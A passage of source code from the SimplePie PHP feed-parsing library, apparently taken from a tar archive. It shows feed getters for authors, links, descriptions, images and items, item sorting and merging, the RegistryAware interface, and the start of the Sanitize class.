        foreach ((array) $this->get_channel_tags(self::NAMESPACE_DC_11, 'subject') as $category) {
            $categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], self::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_DC_10, 'subject') as $category) {
            $categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], self::CONSTRUCT_TEXT), null, null]);
        }

        if (!empty($categories)) {
            return array_unique($categories);
        }

        return null;
    }

    /**
     * Get an author for the feed
     *
     * @since 1.1
     * @param int $key The author that you want to return. Remember that arrays begin with 0, not 1
     * @return Author|null
     */
    public function get_author(int $key = 0)
    {
        $authors = $this->get_authors();
        if (isset($authors[$key])) {
            return $authors[$key];
        }

        return null;
    }

    /**
     * Get all authors for the feed
     *
     * Uses `<atom:author>`, `<author>`, `<dc:creator>` or `<itunes:author>`
     *
     * @since 1.1
     * @return array<Author>|null List of {@see Author} objects
     */
    public function get_authors()
    {
        $authors = [];
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'author') as $author) {
            $name = null;
            $uri = null;
            $email = null;
            if (isset($author['child'][self::NAMESPACE_ATOM_10]['name'][0]['data'])) {
                $name = $this->sanitize($author['child'][self::NAMESPACE_ATOM_10]['name'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if (isset($author['child'][self::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
                $uri = $author['child'][self::NAMESPACE_ATOM_10]['uri'][0];
                $uri = $this->sanitize($uri['data'], self::CONSTRUCT_IRI, $this->get_base($uri));
            }
            if (isset($author['child'][self::NAMESPACE_ATOM_10]['email'][0]['data'])) {
                $email = $this->sanitize($author['child'][self::NAMESPACE_ATOM_10]['email'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $uri !== null) {
                $authors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
            }
        }
        if ($author = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'author')) {
            $name = null;
            $url = null;
            $email = null;
            if (isset($author[0]['child'][self::NAMESPACE_ATOM_03]['name'][0]['data'])) {
                $name = $this->sanitize($author[0]['child'][self::NAMESPACE_ATOM_03]['name'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if (isset($author[0]['child'][self::NAMESPACE_ATOM_03]['url'][0]['data'])) {
                $url = $author[0]['child'][self::NAMESPACE_ATOM_03]['url'][0];
                $url = $this->sanitize($url['data'], self::CONSTRUCT_IRI, $this->get_base($url));
            }
            if (isset($author[0]['child'][self::NAMESPACE_ATOM_03]['email'][0]['data'])) {
                $email = $this->sanitize($author[0]['child'][self::NAMESPACE_ATOM_03]['email'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $url !== null) {
                $authors[] = $this->registry->create(Author::class, [$name, $url, $email]);
            }
        }
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_DC_11, 'creator') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], self::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_DC_10, 'creator') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], self::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_ITUNES, 'author') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], self::CONSTRUCT_TEXT), null, null]);
        }

        if (!empty($authors)) {
            return array_unique($authors);
        }

        return null;
    }

    /**
     * Get a contributor for the feed
     *
     * @since 1.1
     * @param int $key The contrbutor that you want to return. Remember that arrays begin with 0, not 1
     * @return Author|null
     */
    public function get_contributor(int $key = 0)
    {
        $contributors = $this->get_contributors();
        if (isset($contributors[$key])) {
            return $contributors[$key];
        }

        return null;
    }

    /**
     * Get all contributors for the feed
     *
     * Uses `<atom:contributor>`
     *
     * @since 1.1
     * @return array<Author>|null List of {@see Author} objects
     */
    public function get_contributors()
    {
        $contributors = [];
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'contributor') as $contributor) {
            $name = null;
            $uri = null;
            $email = null;
            if (isset($contributor['child'][self::NAMESPACE_ATOM_10]['name'][0]['data'])) {
                $name = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_10]['name'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if (isset($contributor['child'][self::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
                $uri = $contributor['child'][self::NAMESPACE_ATOM_10]['uri'][0];
                $uri = $this->sanitize($uri['data'], self::CONSTRUCT_IRI, $this->get_base($uri));
            }
            if (isset($contributor['child'][self::NAMESPACE_ATOM_10]['email'][0]['data'])) {
                $email = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_10]['email'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $uri !== null) {
                $contributors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
            }
        }
        foreach ((array) $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'contributor') as $contributor) {
            $name = null;
            $url = null;
            $email = null;
            if (isset($contributor['child'][self::NAMESPACE_ATOM_03]['name'][0]['data'])) {
                $name = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_03]['name'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if (isset($contributor['child'][self::NAMESPACE_ATOM_03]['url'][0]['data'])) {
                $url = $contributor['child'][self::NAMESPACE_ATOM_03]['url'][0];
                $url = $this->sanitize($url['data'], self::CONSTRUCT_IRI, $this->get_base($url));
            }
            if (isset($contributor['child'][self::NAMESPACE_ATOM_03]['email'][0]['data'])) {
                $email = $this->sanitize($contributor['child'][self::NAMESPACE_ATOM_03]['email'][0]['data'], self::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $url !== null) {
                $contributors[] = $this->registry->create(Author::class, [$name, $url, $email]);
            }
        }

        if (!empty($contributors)) {
            return array_unique($contributors);
        }

        return null;
    }

    /**
     * Get a single link for the feed
     *
     * @since 1.0 (previously called `get_feed_link` since Preview Release, `get_feed_permalink()` since 0.8)
     * @param int $key The link that you want to return. Remember that arrays begin with 0, not 1
     * @param string $rel The relationship of the link to return
     * @return string|null Link URL
     */
    public function get_link(int $key = 0, string $rel = 'alternate')
    {
        $links = $this->get_links($rel);
        if (isset($links[$key])) {
            return $links[$key];
        }

        return null;
    }

    /**
     * Get the permalink for the item
     *
     * Returns the first link available with a relationship of "alternate".
     * Identical to {@see get_link()} with key 0
     *
     * @see get_link
     * @since 1.0 (previously called `get_feed_link` since Preview Release, `get_feed_permalink()` since 0.8)
     * @internal Added for parity between the parent-level and the item/entry-level.
     * @return string|null Link URL
     */
    public function get_permalink()
    {
        return $this->get_link(0);
    }

    /**
     * Get all links for the feed
     *
     * Uses `<atom:link>` or `<link>`
     *
     * @since Beta 2
     * @param string $rel The relationship of links to return
     * @return array<string>|null Links found for the feed (strings)
     */
    public function get_links(string $rel = 'alternate')
    {
        if (!isset($this->data['links'])) {
            $this->data['links'] = [];
            if ($links = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'link')) {
                foreach ($links as $link) {
                    if (isset($link['attribs']['']['href'])) {
                        $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
                        $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], self::CONSTRUCT_IRI, $this->get_base($link));
                    }
                }
            }
            if ($links = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'link')) {
                foreach ($links as $link) {
                    if (isset($link['attribs']['']['href'])) {
                        $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
                        $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], self::CONSTRUCT_IRI, $this->get_base($link));
                    }
                }
            }
            if ($links = $this->get_channel_tags(self::NAMESPACE_RSS_10, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], self::CONSTRUCT_IRI, $this->get_base($links[0]));
            }
            if ($links = $this->get_channel_tags(self::NAMESPACE_RSS_090, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], self::CONSTRUCT_IRI, $this->get_base($links[0]));
            }
            if ($links = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], self::CONSTRUCT_IRI, $this->get_base($links[0]));
            }

            $keys = array_keys($this->data['links']);
            foreach ($keys as $key) {
                if ($this->registry->call(Misc::class, 'is_isegment_nz_nc', [$key])) {
                    if (isset($this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key])) {
                        $this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key]);
                        $this->data['links'][$key] = &$this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key];
                    } else {
                        $this->data['links'][self::IANA_LINK_RELATIONS_REGISTRY . $key] = &$this->data['links'][$key];
                    }
                } elseif (substr($key, 0, 41) === self::IANA_LINK_RELATIONS_REGISTRY) {
                    $this->data['links'][substr($key, 41)] = &$this->data['links'][$key];
                }
                $this->data['links'][$key] = array_unique($this->data['links'][$key]);
            }
        }

        if (isset($this->data['headers']['link'])) {
            $link_headers = $this->data['headers']['link'];
            if (is_array($link_headers)) {
                $link_headers = implode(',', $link_headers);
            }
            // https://datatracker.ietf.org/doc/html/rfc8288
            if (is_string($link_headers) &&
                preg_match_all('/<(?P<uri>[^>]+)>\s*;\s*rel\s*=\s*(?P<quote>"?)' . preg_quote($rel) . '(?P=quote)\s*(?=,|$)/i', $link_headers, $matches)) {
                return $matches['uri'];
            }
        }

        if (isset($this->data['links'][$rel])) {
            return $this->data['links'][$rel];
        }

        return null;
    }

    /**
     * @return ?array<Response>
     */
    public function get_all_discovered_feeds()
    {
        return $this->all_discovered_feeds;
    }

    /**
     * Get the content for the item
     *
     * Uses `<atom:subtitle>`, `<atom:tagline>`, `<description>`,
     * `<dc:description>`, `<itunes:summary>` or `<itunes:subtitle>`
     *
     * @since 1.0 (previously called `get_feed_description()` since 0.8)
     * @return string|null
     */
    public function get_description()
    {
        if ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'subtitle')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'tagline')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_10, 'description')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_090, 'description')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'description')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_11, 'description')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_10, 'description')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ITUNES, 'summary')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ITUNES, 'subtitle')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_HTML, $this->get_base($return[0]));
        }

        return null;
    }

    /**
     * Get the copyright info for the feed
     *
     * Uses `<atom:rights>`, `<atom:copyright>` or `<dc:rights>`
     *
     * @since 1.0 (previously called `get_feed_copyright()` since 0.8)
     * @return string|null
     */
    public function get_copyright()
    {
        if ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'rights')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_03, 'copyright')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'copyright')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_11, 'rights')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_10, 'rights')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        }

        return null;
    }

    /**
     * Get the language for the feed
     *
     * Uses `<language>`, `<dc:language>`, or @xml_lang
     *
     * @since 1.0 (previously called `get_feed_language()` since 0.8)
     * @return string|null
     */
    public function get_language()
    {
        if ($return = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'language')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_11, 'language')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_DC_10, 'language')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif (isset($this->data['child'][self::NAMESPACE_ATOM_10]['feed'][0]['xml_lang'])) {
            return $this->sanitize($this->data['child'][self::NAMESPACE_ATOM_10]['feed'][0]['xml_lang'], self::CONSTRUCT_TEXT);
        } elseif (isset($this->data['child'][self::NAMESPACE_ATOM_03]['feed'][0]['xml_lang'])) {
            return $this->sanitize($this->data['child'][self::NAMESPACE_ATOM_03]['feed'][0]['xml_lang'], self::CONSTRUCT_TEXT);
        } elseif (isset($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['xml_lang'])) {
            return $this->sanitize($this->data['child'][self::NAMESPACE_RDF]['RDF'][0]['xml_lang'], self::CONSTRUCT_TEXT);
        } elseif (isset($this->data['headers']['content-language'])) {
            return $this->sanitize($this->data['headers']['content-language'], self::CONSTRUCT_TEXT);
        }

        return null;
    }

    /**
     * Get the latitude coordinates for the item
     *
     * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
     *
     * Uses `<geo:lat>` or `<georss:point>`
     *
     * @since 1.0
     * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
     * @link http://www.georss.org/ GeoRSS
     * @return float|null
     */
    public function get_latitude()
    {
        if ($return = $this->get_channel_tags(self::NAMESPACE_W3C_BASIC_GEO, 'lat')) {
            return (float) $return[0]['data'];
        } elseif (($return = $this->get_channel_tags(self::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
            return (float) $match[1];
        }

        return null;
    }

    /**
     * Get the longitude coordinates for the feed
     *
     * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
     *
     * Uses `<geo:long>`, `<geo:lon>` or `<georss:point>`
     *
     * @since 1.0
     * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
     * @link http://www.georss.org/ GeoRSS
     * @return float|null
     */
    public function get_longitude()
    {
        if ($return = $this->get_channel_tags(self::NAMESPACE_W3C_BASIC_GEO, 'long')) {
            return (float) $return[0]['data'];
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_W3C_BASIC_GEO, 'lon')) {
            return (float) $return[0]['data'];
        } elseif (($return = $this->get_channel_tags(self::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
            return (float) $match[2];
        }

        return null;
    }

    /**
     * Get the feed logo's title
     *
     * RSS 0.9.0, 1.0 and 2.0 feeds are allowed to have a "feed logo" title.
     *
     * Uses `<image><title>` or `<image><dc:title>`
     *
     * @return string|null
     */
    public function get_image_title()
    {
        if ($return = $this->get_image_tags(self::NAMESPACE_RSS_10, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_090, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_DC_11, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_DC_10, 'title')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT);
        }

        return null;
    }

    /**
     * Get the feed logo's URL
     *
     * RSS 0.9.0, 2.0, Atom 1.0, and feeds with iTunes RSS tags are allowed to
     * have a "feed logo" URL. This points directly to the image itself.
     *
     * Uses `<itunes:image>`, `<atom:logo>`, `<atom:icon>`,
     * `<image><title>` or `<image><dc:title>`
     *
     * @return string|null
     */
    public function get_image_url()
    {
        if ($return = $this->get_channel_tags(self::NAMESPACE_ITUNES, 'image')) {
            return $this->sanitize($return[0]['attribs']['']['href'], self::CONSTRUCT_IRI);
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'logo')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'icon')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_10, 'url')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_090, 'url')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'url')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        }

        return null;
    }


    /**
     * Get the feed logo's link
     *
     * RSS 0.9.0, 1.0 and 2.0 feeds are allowed to have a "feed logo" link. This
     * points to a human-readable page that the image should link to.
     *
     * Uses `<itunes:image>`, `<atom:logo>`, `<atom:icon>`,
     * `<image><title>` or `<image><dc:title>`
     *
     * @return string|null
     */
    public function get_image_link()
    {
        if ($return = $this->get_image_tags(self::NAMESPACE_RSS_10, 'link')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_090, 'link')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'link')) {
            return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0]));
        }

        return null;
    }

    /**
     * Get the feed logo's link
     *
     * RSS 2.0 feeds are allowed to have a "feed logo" width.
     *
     * Uses `<image><width>` or defaults to 88 if no width is specified and
     * the feed is an RSS 2.0 feed.
     *
     * @return int|null
     */
    public function get_image_width()
    {
        if ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'width')) {
            return intval($return[0]['data']);
        } elseif ($this->get_type() & self::TYPE_RSS_SYNDICATION && $this->get_image_tags(self::NAMESPACE_RSS_20, 'url')) {
            return 88;
        }

        return null;
    }

    /**
     * Get the feed logo's height
     *
     * RSS 2.0 feeds are allowed to have a "feed logo" height.
     *
     * Uses `<image><height>` or defaults to 31 if no height is specified and
     * the feed is an RSS 2.0 feed.
     *
     * @return int|null
     */
    public function get_image_height()
    {
        if ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'height')) {
            return intval($return[0]['data']);
        } elseif ($this->get_type() & self::TYPE_RSS_SYNDICATION && $this->get_image_tags(self::NAMESPACE_RSS_20, 'url')) {
            return 31;
        }

        return null;
    }

    /**
     * Get the number of items in the feed
     *
     * This is well-suited for {@link http://php.net/for for()} loops with
     * {@see get_item()}
     *
     * @param int $max Maximum value to return. 0 for no limit
     * @return int Number of items in the feed
     */
    public function get_item_quantity(int $max = 0)
    {
        $qty = count($this->get_items());
        if ($max === 0) {
            return $qty;
        }

        return min($qty, $max);
    }

    /**
     * Get a single item from the feed
     *
     * This is better suited for {@link http://php.net/for for()} loops, whereas
     * {@see get_items()} is better suited for
     * {@link http://php.net/foreach foreach()} loops.
     *
     * @see get_item_quantity()
     * @since Beta 2
     * @param int $key The item that you want to return. Remember that arrays begin with 0, not 1
     * @return Item|null
     */
    public function get_item(int $key = 0)
    {
        $items = $this->get_items();
        if (isset($items[$key])) {
            return $items[$key];
        }

        return null;
    }

    /**
     * Get all items from the feed
     *
     * This is better suited for {@link http://php.net/for for()} loops, whereas
     * {@see get_items()} is better suited for
     * {@link http://php.net/foreach foreach()} loops.
     *
     * @see get_item_quantity
     * @since Beta 2
     * @param int $start Index to start at
     * @param int $end Number of items to return. 0 for all items after `$start`
     * @return Item[] List of {@see Item} objects
     */
    public function get_items(int $start = 0, int $end = 0)
    {
        if (!isset($this->data['items'])) {
            if (!empty($this->multifeed_objects)) {
                $this->data['items'] = SimplePie::merge_items($this->multifeed_objects, $start, $end, $this->item_limit);
                if (empty($this->data['items'])) {
                    return [];
                }
                return $this->data['items'];
            }
            $this->data['items'] = [];
            if ($items = $this->get_feed_tags(self::NAMESPACE_ATOM_10, 'entry')) {
                $keys = array_keys($items);
                foreach ($keys as $key) {
                    $this->data['items'][] = $this->make_item($items[$key]);
                }
            }
            if ($items = $this->get_feed_tags(self::NAMESPACE_ATOM_03, 'entry')) {
                $keys = array_keys($items);
                foreach ($keys as $key) {
                    $this->data['items'][] = $this->make_item($items[$key]);
                }
            }
            if ($items = $this->get_feed_tags(self::NAMESPACE_RSS_10, 'item')) {
                $keys = array_keys($items);
                foreach ($keys as $key) {
                    $this->data['items'][] = $this->make_item($items[$key]);
                }
            }
            if ($items = $this->get_feed_tags(self::NAMESPACE_RSS_090, 'item')) {
                $keys = array_keys($items);
                foreach ($keys as $key) {
                    $this->data['items'][] = $this->make_item($items[$key]);
                }
            }
            if ($items = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'item')) {
                $keys = array_keys($items);
                foreach ($keys as $key) {
                    $this->data['items'][] = $this->make_item($items[$key]);
                }
            }
        }

        if (empty($this->data['items'])) {
            return [];
        }

        if ($this->order_by_date) {
            if (!isset($this->data['ordered_items'])) {
                $this->data['ordered_items'] = $this->data['items'];
                usort($this->data['ordered_items'], [get_class($this), 'sort_items']);
            }
            $items = $this->data['ordered_items'];
        } else {
            $items = $this->data['items'];
        }
        // Slice the data as desired
        if ($end === 0) {
            return array_slice($items, $start);
        }

        return array_slice($items, $start, $end);
    }

    /**
     * Set the favicon handler
     *
     * @deprecated Use your own favicon handling instead
     * @param string|false $page
     * @return bool
     */
    public function set_favicon_handler($page = false, string $qs = 'i')
    {
        trigger_error('Favicon handling has been removed since SimplePie 1.3, please use your own handling', \E_USER_DEPRECATED);
        return false;
    }

    /**
     * Get the favicon for the current feed
     *
     * @deprecated Use your own favicon handling instead
     * @return string|bool
     */
    public function get_favicon()
    {
        trigger_error('Favicon handling has been removed since SimplePie 1.3, please use your own handling', \E_USER_DEPRECATED);

        if (($url = $this->get_link()) !== null) {
            return 'https://www.google.com/s2/favicons?domain=' . urlencode($url);
        }

        return false;
    }

    /**
     * Magic method handler
     *
     * @param string $method Method name
     * @param array<mixed> $args Arguments to the method
     * @return mixed
     */
    public function __call(string $method, array $args)
    {
        if (strpos($method, 'subscribe_') === 0) {
            trigger_error('subscribe_*() has been deprecated since SimplePie 1.3, implement the callback yourself', \E_USER_DEPRECATED);
            return '';
        }
        if ($method === 'enable_xml_dump') {
            trigger_error('enable_xml_dump() has been deprecated since SimplePie 1.3, use get_raw_data() instead', \E_USER_DEPRECATED);
            return false;
        }

        $class = get_class($this);
        $trace = debug_backtrace(); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection
        $file = $trace[0]['file'] ?? '';
        $line = $trace[0]['line'] ?? '';
        throw new SimplePieException("Call to undefined method $class::$method() in $file on line $line");
    }

    /**
     * Item factory
     *
     * @param array<string, mixed> $data
     */
    private function make_item(array $data): Item
    {
        $item = $this->registry->create(Item::class, [$this, $data]);
        $item->set_sanitize($this->sanitize);

        return $item;
    }

    /**
     * Sorting callback for items
     *
     * @access private
     * @param Item $a
     * @param Item $b
     * @return -1|0|1
     */
    public static function sort_items(Item $a, Item $b)
    {
        $a_date = $a->get_date('U');
        $b_date = $b->get_date('U');
        if ($a_date && $b_date) {
            return $a_date > $b_date ? -1 : 1;
        }
        // Sort items without dates to the top.
        if ($a_date) {
            return 1;
        }
        if ($b_date) {
            return -1;
        }
        return 0;
    }

    /**
     * Merge items from several feeds into one
     *
     * If you're merging multiple feeds together, they need to all have dates
     * for the items or else SimplePie will refuse to sort them.
     *
     * @link http://simplepie.org/wiki/tutorial/sort_multiple_feeds_by_time_and_date#if_feeds_require_separate_per-feed_settings
     * @param array<SimplePie> $urls List of SimplePie feed objects to merge
     * @param int $start Starting item
     * @param int $end Number of items to return
     * @param int $limit Maximum number of items per feed
     * @return array<Item>
     */
    public static function merge_items(array $urls, int $start = 0, int $end = 0, int $limit = 0)
    {
        if (count($urls) > 0) {
            $items = [];
            foreach ($urls as $arg) {
                if ($arg instanceof SimplePie) {
                    $items = array_merge($items, $arg->get_items(0, $limit));

                    // @phpstan-ignore-next-line Enforce PHPDoc type.
                } else {
                    trigger_error('Arguments must be SimplePie objects', E_USER_WARNING);
                }
            }

            usort($items, [get_class($urls[0]), 'sort_items']);

            if ($end === 0) {
                return array_slice($items, $start);
            }

            return array_slice($items, $start, $end);
        }

        trigger_error('Cannot merge zero SimplePie objects', E_USER_WARNING);
        return [];
    }

    /**
     * Store PubSubHubbub links as headers
     *
     * There is no way to find PuSH links in the body of a microformats feed,
     * so they are added to the headers when found, to be used later by get_links.
     */
    private function store_links(Response $file, ?string $hub, ?string $self): Response
    {
        $linkHeaderLine = $file->get_header_line('link');
        $linkHeader = $file->get_header('link');

        if ($hub && !preg_match('/rel=hub/', $linkHeaderLine)) {
            $linkHeader[] = '<'.$hub.'>; rel=hub';
        }

        if ($self && !preg_match('/rel=self/', $linkHeaderLine)) {
            $linkHeader[] = '<'.$self.'>; rel=self';
        }

        if (count($linkHeader) > 0) {
            $file = $file->with_header('link', $linkHeader);
        }

        return $file;
    }

    /**
     * Get a DataCache
     *
     * @param string $feed_url Only needed for BC, can be removed in SimplePie 2.0.0
     *
     * @return DataCache
     */
    private function get_cache(string $feed_url = ''): DataCache
    {
        if ($this->cache === null) {
            // @trigger_error(sprintf('Not providing as PSR-16 cache implementation is deprecated since SimplePie 1.8.0, please use "SimplePie\SimplePie::set_cache()".'), \E_USER_DEPRECATED);
            $cache = $this->registry->call(Cache::class, 'get_handler', [
                $this->cache_location,
                $this->get_cache_filename($feed_url),
                Base::TYPE_FEED
            ]);

            return new BaseDataCache($cache);
        }

        return $this->cache;
    }

    /**
     * Get a HTTP client
     */
    private function get_http_client(): Client
    {
        if ($this->http_client === null) {
            $this->http_client = new FileClient(
                $this->get_registry(),
                [
                    'timeout' => $this->timeout,
                    'redirects' => 5,
                    'useragent' => $this->useragent,
                    'force_fsockopen' => $this->force_fsockopen,
                    'curl_options' => $this->curl_options,
                ]
            );
            $this->http_client_injected = true;
        }

        return $this->http_client;
    }
}

class_alias('SimplePie\SimplePie', 'SimplePie');
RegistryAware.php000064400000000677151450001630010052 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

/**
 * Handles the injection of Registry into other class
 *
 * {@see \SimplePie\SimplePie::get_registry()}
 */
interface RegistryAware
{
    /**
     * Set the Registry into the class
     *
     * @return void
     */
    public function set_registry(Registry $registry);
}
Sanitize.php000064400000073221151450001630007043 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

use DOMDocument;
use DOMXPath;
use InvalidArgumentException;
use Psr\Http\Client\ClientInterface;
use Psr\Http\Message\RequestFactoryInterface;
use Psr\Http\Message\UriFactoryInterface;
use SimplePie\Cache\Base;
use SimplePie\Cache\BaseDataCache;
use SimplePie\Cache\CallableNameFilter;
use SimplePie\Cache\DataCache;
use SimplePie\Cache\NameFilter;
use SimplePie\HTTP\Client;
use SimplePie\HTTP\ClientException;
use SimplePie\HTTP\FileClient;
use SimplePie\HTTP\Psr18Client;

/**
 * Used for data cleanup and post-processing
 *
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_sanitize_class()}
 *
 * @todo Move to using an actual HTML parser (this will allow tags to be properly stripped, and to switch between HTML and XHTML), this will also make it easier to shorten a string while preserving HTML tags
 */
class Sanitize implements RegistryAware
{
